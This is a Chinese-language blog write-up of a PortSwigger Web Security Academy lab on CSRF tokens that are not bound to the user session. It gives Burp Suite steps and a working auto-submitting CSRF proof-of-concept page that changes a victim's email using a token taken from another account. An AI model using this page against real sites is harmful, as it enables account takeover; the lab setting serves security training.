Lab: CSRF where token is not tied to user session:CSRF,其中令牌与用户会话无关

本实验室的电子邮件更改功能易受 CSRF 攻击。它使用令牌来尝试防止 CSRF 攻击,但它们没有集成到站点的会话处理系统中。

要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

您在应用程序上有两个帐户,可用于帮助设计攻击。凭据如下:

wiener:peter
carlos:montoya

CSRF 令牌不绑定到用户会话

某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反,应用程序维护一个它已发行的全局令牌池,并接受出现在该池中的任何令牌。

在这种情况下,攻击者可以使用自己的帐户登录应用程序,获取有效的令牌,然后在 CSRF 攻击中将该令牌提供给受害用户。
image
使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,并拦截由此产生的请求。
记下CSRF 令牌的值,然后删除请求。
打开一个私人/隐身浏览器窗口,登录到您的另一个帐户,然后将更新电子邮件请求发送到 Burp Repeater。
image
请注意,如果您将 CSRF 令牌与其他帐户的值交换,则该请求将被接受。
把下面的代码放到服务器
代码内容:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://aca81f421ff8845b80496c0d005500d4.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ExtArE&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="HxJzDofFGkr67rPbKYMun2ZqChlB0vw4" />
    </form>
<script>
      document.forms[0].submit();
</script>
  </body>
</html>

注意:csrf只能用一次,所以我们需要修改邮箱的时候阻断报文的传输
然后将其没用过的csrf复制到代码中

存储漏洞,然后单击“交付给受害者”以解决实验室问题。
所以这玩意是跨平台的:
image

posted @ 2021-08-26 11:08  Zeker62  阅读(253)  评论(0编辑  收藏  举报